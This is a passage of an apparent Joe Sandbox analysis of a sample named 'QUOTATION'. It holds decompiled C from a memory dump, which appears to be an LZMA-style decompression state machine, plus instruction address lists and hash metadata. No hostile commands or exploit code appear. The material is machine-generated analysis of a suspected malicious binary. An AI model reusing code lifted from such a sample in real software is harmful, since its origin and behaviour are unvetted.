												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00406a9b
0x00406a9b
0x00406a9b
0x00406a9b
0x00406aa1
0x00406aa5
0x00406aa9
0x00406ab3
0x00406ac1
0x00406d97
0x00406d97
0x00406d9a
0x00406da1
0x00406dce
0x00406dce
0x00406dd2
0x00000000
0x00000000
0x00406dd4
0x00406ddd
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df5
0x00406e0e
0x00406e11
0x00406e1d
0x00406e1e
0x00406e21
0x00406df7
0x00406df7
0x00406e06
0x00406e09
0x00406e09
0x00406e2b
0x00406dcb
0x00406dcb
0x00406dcb
0x00406dce
0x00406dd2
0x00000000
0x00000000
0x00000000
0x00406e2d
0x00406e2d
0x00406da6
0x00406daa
0x00406ee2
0x00406ee2
0x00406eec
0x00406ef4
0x00406efb
0x00406efd
0x00406f04
0x00406f08
0x00406f08
0x00406db0
0x00406db6
0x00406dbd
0x00406dc5
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00406e32
0x00406e3f
0x00406e42
0x00406d4e
0x00406d4e
0x00406d4e
0x004064ea
0x004064ea
0x004064ea
0x004064f3
0x00000000
0x00000000
0x004064f9
0x004064f9
0x00000000
0x00406500
0x00406504
0x00000000
0x00000000
0x0040650a
0x0040650d
0x00406510
0x00406513
0x00406517
0x00000000
0x00000000
0x0040651d
0x0040651d
0x00406520
0x00406522
0x00406523
0x00406526
0x00406528
0x00406529
0x0040652b
0x0040652e
0x00406533
0x00406538
0x00406541
0x00406554
0x00406557
0x00406563
0x0040658b
0x0040658d
0x0040659b
0x0040659b
0x0040659f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040658f
0x0040658f
0x00406592
0x00406593
0x00406593
0x00000000
0x0040658f
0x00406565
0x00406569
0x0040656e
0x0040656e
0x00406577
0x0040657f
0x00406582
0x00000000
0x00406588
0x00406588
0x00000000
0x00406588
0x00000000
0x004065a5
0x004065a5
0x004065a9
0x00406e55
0x00406e55
0x00000000
0x00406e55
0x004065af
0x004065b2
0x004065c2
0x004065c5
0x004065c8
0x004065c8
0x004065c8
0x004065cb
0x004065cf
0x00000000
0x00000000
0x004065d1
0x004065d1
0x004065d7
0x00406601
0x00406607
0x0040660e
0x00000000
0x0040660e
0x004065d9
0x004065dd
0x004065e0
0x004065e5
0x004065e5
0x004065f0
0x004065f8
0x004065fb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406640
0x00406646
0x00406649
0x00406656
0x0040665e
0x00000000
0x00000000
0x00406615
0x00406615
0x00406619
0x00406e64
0x00406e64
0x00000000
0x00406e64
0x0040661f
0x00406625
0x00406630
0x00406630
0x00406630
0x00406633
0x00406636
0x00406639
0x0040663e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406cd5
0x00406cd5
0x00406cdb
0x00406ce1
0x00406ce7
0x00406d01
0x00406d04
0x00406d0a
0x00406d15
0x00406d15
0x00406d17
0x00406ce9
0x00406ce9
0x00406cf8
0x00406cfc
0x00406cfc
0x00406d21
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d23
0x00406d27
0x00406ed6
0x00406ed6
0x00000000
0x00406ed6
0x00406d2d
0x00406d33
0x00406d3a
0x00406d42
0x00406d45
0x00406d48
0x00406d48
0x00406d4e
0x00406d4e
0x00000000
0x00000000
0x00406666
0x00406666
0x00406668
0x0040666b
0x004066dc
0x004066dc
0x004066df
0x004066e2
0x004066e9
0x004066f3
0x00000000
0x004066f3
0x0040666d
0x0040666d
0x00406671
0x00406674
0x00406676
0x00406679
0x0040667c
0x0040667e
0x00406681
0x00406683
0x00406688
0x0040668b
0x0040668e
0x00406692
0x00406699
0x0040669c
0x004066a3
0x004066a7
0x004066af
0x004066af
0x004066af
0x004066a9
0x004066a9
0x004066a9
0x0040669e
0x0040669e
0x0040669e
0x004066b3
0x004066b6
0x004066d4
0x004066d4
0x004066d6
0x00000000
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c3
0x004066c3
0x004066c3
0x004066c6
0x004066c9
0x004066cb
0x004066cc
0x004066cf
0x00000000
0x004066cf
0x00000000
0x00406905
0x00406905
0x00406909
0x00406927
0x00406927
0x0040692a
0x00406931
0x00406934
0x00406937
0x0040693a
0x0040693d
0x00406940
0x00406942
0x00406949
0x0040694a
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406955
0x0040695a
0x00000000
0x0040695a
0x0040690b
0x0040690b
0x0040690e
0x00406911
0x0040691b
0x00000000
0x00000000
0x0040696f
0x0040696f
0x00406973
0x00406996
0x00406999
0x0040699c
0x004069a6
0x00406975
0x00406975
0x00406978
0x0040697b
0x0040697e
0x0040698b
0x0040698e
0x0040698e
0x00000000
0x00000000
0x004069b2
0x004069b2
0x004069b6
0x00000000
0x00000000
0x004069bc
0x004069bc
0x004069c0
0x00000000
0x00000000
0x004069c6
0x004069c6
0x004069c8
0x004069cc
0x004069cc
0x004069cf
0x004069d3
0x00000000
0x00000000
0x00406a23
0x00406a23
0x00406a27
0x00406a2e
0x00406a2e
0x00406a31
0x00406a34
0x00406a3e
0x00000000
0x00406a3e
0x00406a29
0x00406a29
0x00000000
0x00000000
0x00406a4a
0x00406a4a
0x00406a4e
0x00406a55
0x00406a58
0x00406a5b
0x00406a50
0x00406a50
0x00406a50
0x00406a5e
0x00406a61
0x00406a64
0x00406a64
0x00406a67
0x00406a6a
0x00406a6d
0x00406a6d
0x00406a70
0x00406a77
0x00406a7c
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00406eac
0x00406eac
0x00000000
0x00406eac
0x00406b14
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b21
0x00406b27
0x00406b29
0x00406b29
0x00406b29
0x00406b2c
0x00406b2f
0x00000000
0x00000000
0x004066ff
0x004066ff
0x00406703
0x00406e70
0x00406e70
0x00000000
0x00406e70
0x00406709
0x00406709
0x0040670c
0x0040670f
0x00406713
0x00406716
0x0040671c
0x0040671e
0x0040671e
0x0040671e
0x00406721
0x00406724
0x00406724
0x00406727
0x0040672a
0x00000000
0x00000000
0x00406730
0x00406730
0x00406736
0x00000000
0x00000000
0x0040673c
0x0040673c
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x0040674d
0x00406750
0x00406752
0x00406758
0x0040675b
0x0040675e
0x00406761
0x00406764
0x00406767
0x0040676a
0x00406786
0x00406789
0x0040678c
0x0040678f
0x00406796
0x0040679a
0x0040679c
0x004067a0
0x0040676c
0x0040676c
0x00406770
0x00406778
0x0040677d
0x0040677f
0x00406781
0x00406781
0x004067a3
0x004067aa
0x004067ad
0x00000000
0x004067b3
0x004067b3
0x00000000
0x004067b3
0x00000000
0x004067b8
0x004067b8
0x004067bc
0x00406e7c
0x00406e7c
0x00000000
0x00406e7c
0x004067c2
0x004067c2
0x004067c5
0x004067c8
0x004067cc
0x004067cf
0x004067d5
0x004067d7
0x004067d7
0x004067d7
0x004067da
0x004067dd
0x004067dd
0x004067dd
0x004067e3
0x00000000
0x00000000
0x004067e5
0x004067e5
0x004067e8
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fd
0x00406800
0x00406803
0x0040681b
0x0040681e
0x00406821
0x00406824
0x00406824
0x00406827
0x0040682b
0x0040682d
0x00406805
0x00406805
0x0040680d
0x00406812
0x00406814
0x00406816
0x00406816
0x00406830
0x00406837
0x0040683a
0x00000000
0x0040683c
0x0040683c
0x00000000
0x0040683c
0x0040683a
0x00406841
0x00406841
0x00406841
0x00406841
0x00000000
0x00000000
0x0040687c
0x0040687c
0x00406880
0x00406e88
0x00406e88
0x00000000
0x00406e88
0x00406886
0x00406886
0x00406889
0x0040688c
0x00406890
0x00406893
0x00406899
0x0040689b
0x0040689b
0x0040689b
0x0040689e
0x004068a1
0x004068a1
0x004068a7
0x00406845
0x00406845
0x00406848
0x00000000
0x00406848
0x004068a9
0x004068a9
0x004068ac
0x004068af
0x004068b2
0x004068b5
0x004068b8
0x004068bb
0x004068be
0x004068c1
0x004068c4
0x004068c7
0x004068df
0x004068e2
0x004068e5
0x004068e8
0x004068e8
0x004068eb
0x004068ef
0x004068f1
0x004068c9
0x004068c9
0x004068d1
0x004068d6
0x004068d8
0x004068da
0x004068da
0x004068f4
0x004068fb
0x004068fe
0x00000000
0x00406900
0x00406900
0x00000000
0x00406900
0x00000000
0x00406b8d
0x00406b8d
0x00406b91
0x00406eb8
0x00406eb8
0x00000000
0x00406eb8
0x00406b97
0x00406b97
0x00406b9a
0x00406b9d
0x00406ba1
0x00406ba4
0x00406baa
0x00406bac
0x00406bac
0x00406bac
0x00406baf
0x00000000
0x00000000
0x0040695d
0x0040695d
0x00406960
0x00000000
0x00000000
0x00406c9c
0x00406c9c
0x00406ca0
0x00406cc2
0x00406cc2
0x00406cc5
0x00406ccf
0x00406cd2
0x00406cd2
0x00000000
0x00406cd2
0x00406ca2
0x00406ca2
0x00406ca5
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00000000
0x00000000
0x00406d59
0x00406d59
0x00406d5d
0x00406d7b
0x00406d7b
0x00406d7b
0x00406d7b
0x00406d82
0x00406d89
0x00406d90
0x00406d90
0x00406d97
0x00406d9a
0x00406da1
0x00000000
0x00406da4
0x00406d5f
0x00406d5f
0x00406d62
0x00406d65
0x00406d68
0x00406d6f
0x00406cb3
0x00406cb3
0x00406cb6
0x00000000
0x00000000
0x00406e4a
0x00406e4a
0x00406e4d
0x00406d4e
0x00406d4e
0x00406d4e
0x00000000
0x00406d54
0x00000000
0x00406a84
0x00406a84
0x00406a86
0x00406a8d
0x00406a8e
0x00406a90
0x00406a93
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d97
0x00406d97
0x00406d9a
0x00406da1
0x00000000
0x00406da4
0x00000000
0x00000000
0x00000000
0x00406ac9
0x00406ac9
0x00406acc
0x00406b02
0x00406b02
0x00406c32
0x00406c32
0x00406c32
0x00406c32
0x00406c35
0x00406c35
0x00406c38
0x00406c3a
0x00406ec4
0x00406ec4
0x00000000
0x00406ec4
0x00406c40
0x00406c40
0x00406c43
0x00000000
0x00000000
0x00406c49
0x00406c49
0x00406c4d
0x00406c50
0x00406c50
0x00406c50
0x00000000
0x00406c50
0x00406ace
0x00406ace
0x00406ad0
0x00406ad2
0x00406ad4
0x00406ad7
0x00406ad8
0x00406ada
0x00406adc
0x00406adf
0x00406ae2
0x00406af8
0x00406af8
0x00406afd
0x00406b35
0x00406b35
0x00406b39
0x00406b62
0x00406b65
0x00406b67
0x00406b6e
0x00406b71
0x00406b74
0x00406b74
0x00406b79
0x00406b79
0x00406b7b
0x00406b7e
0x00406b85
0x00406b88
0x00406bb5
0x00406bb5
0x00406bb8
0x00406bbb
0x00406c2f
0x00406c2f
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bbd
0x00406bbd
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bdb
0x00406bde
0x00406bf7
0x00406bf9
0x00406bfc
0x00406bfd
0x00406c00
0x00406c02
0x00406c05
0x00406c07
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c15
0x00406c17
0x00406c17
0x00406c18
0x00406c1b
0x00406c1e
0x00406be0
0x00406be0
0x00406be8
0x00406bed
0x00406bef
0x00406bf2
0x00406bf2
0x00406c21
0x00406c28
0x00406bb2
0x00406bb2
0x00406bb2
0x00406bb2
0x00000000
0x00406c2a
0x00406c2a
0x00000000
0x00406c2a
0x00406c28
0x00406b3b
0x00406b3b
0x00406b3e
0x00406b40
0x00406b43
0x00406b46
0x00406b49
0x00406b4b
0x00406b4e
0x00406b51
0x00406b51
0x00406b54
0x00406b54
0x00406b57
0x00406b5e
0x00406b32
0x00406b32
0x00406b32
0x00406b32
0x00000000
0x00406b60
0x00406b60
0x00000000
0x00406b60
0x00406b5e
0x00406ae4
0x00406ae4
0x00406ae7
0x00406ae9
0x00406aec
0x00000000
0x00000000
0x0040684b
0x0040684b
0x0040684f
0x00406e94
0x00406e94
0x00000000
0x00406e94
0x00406855
0x00406855
0x00406858
0x0040685b
0x0040685e
0x00406861
0x00406864
0x00406867
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406874
0x00406874
0x00406874
0x00000000
0x00000000
0x004069d6
0x004069d6
0x004069da
0x00406ea0
0x00406ea0
0x00000000
0x00406ea0
0x004069e0
0x004069e0
0x004069e3
0x004069e6
0x004069e9
0x004069eb
0x004069eb
0x004069eb
0x004069ee
0x004069f1
0x004069f4
0x004069f7
0x004069fa
0x004069fd
0x004069fe
0x00406a00
0x00406a00
0x00406a00
0x00406a03
0x00406a06
0x00406a09
0x00406a0c
0x00406a0c
0x00406a0c
0x00406a0f
0x00406a11
0x00406a11
0x00000000
0x00000000
0x00406c53
0x00406c53
0x00406c53
0x00406c57
0x00000000
0x00000000
0x00406c5d
0x00406c5d
0x00406c60
0x00406c63
0x00406c66
0x00406c68
0x00406c68
0x00406c68
0x00406c6b
0x00406c6e
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7b
0x00406c7d
0x00406c7d
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c90
0x00406c92
0x00406c95
0x00000000
0x00406c97
0x00406c97
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00406c95
0x00406eca
0x00406eca
0x00000000
0x00000000
0x004064f9
0x00406f01
0x00406f01
0x00000000
0x00406f01
0x00406d4e
0x00406dce
0x00406d97

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e86151e03bba78afe16222fe9d5ebe1cb7bbef763218a955a86232309b7881
Instruction ID: 81ce818a04e0c3cc04ce684d9a2a9ddfd009c22adec174195ca66df60ea86fc9
Opcode Fuzzy Hash: 03e86151e03bba78afe16222fe9d5ebe1cb7bbef763218a955a86232309b7881
Instruction Fuzzy Hash: 69A14271E00229DBDF28CFA8C8446ADBBB1FF44305F15842AD916BB281C7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406C9C Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406C9C() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406F09))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
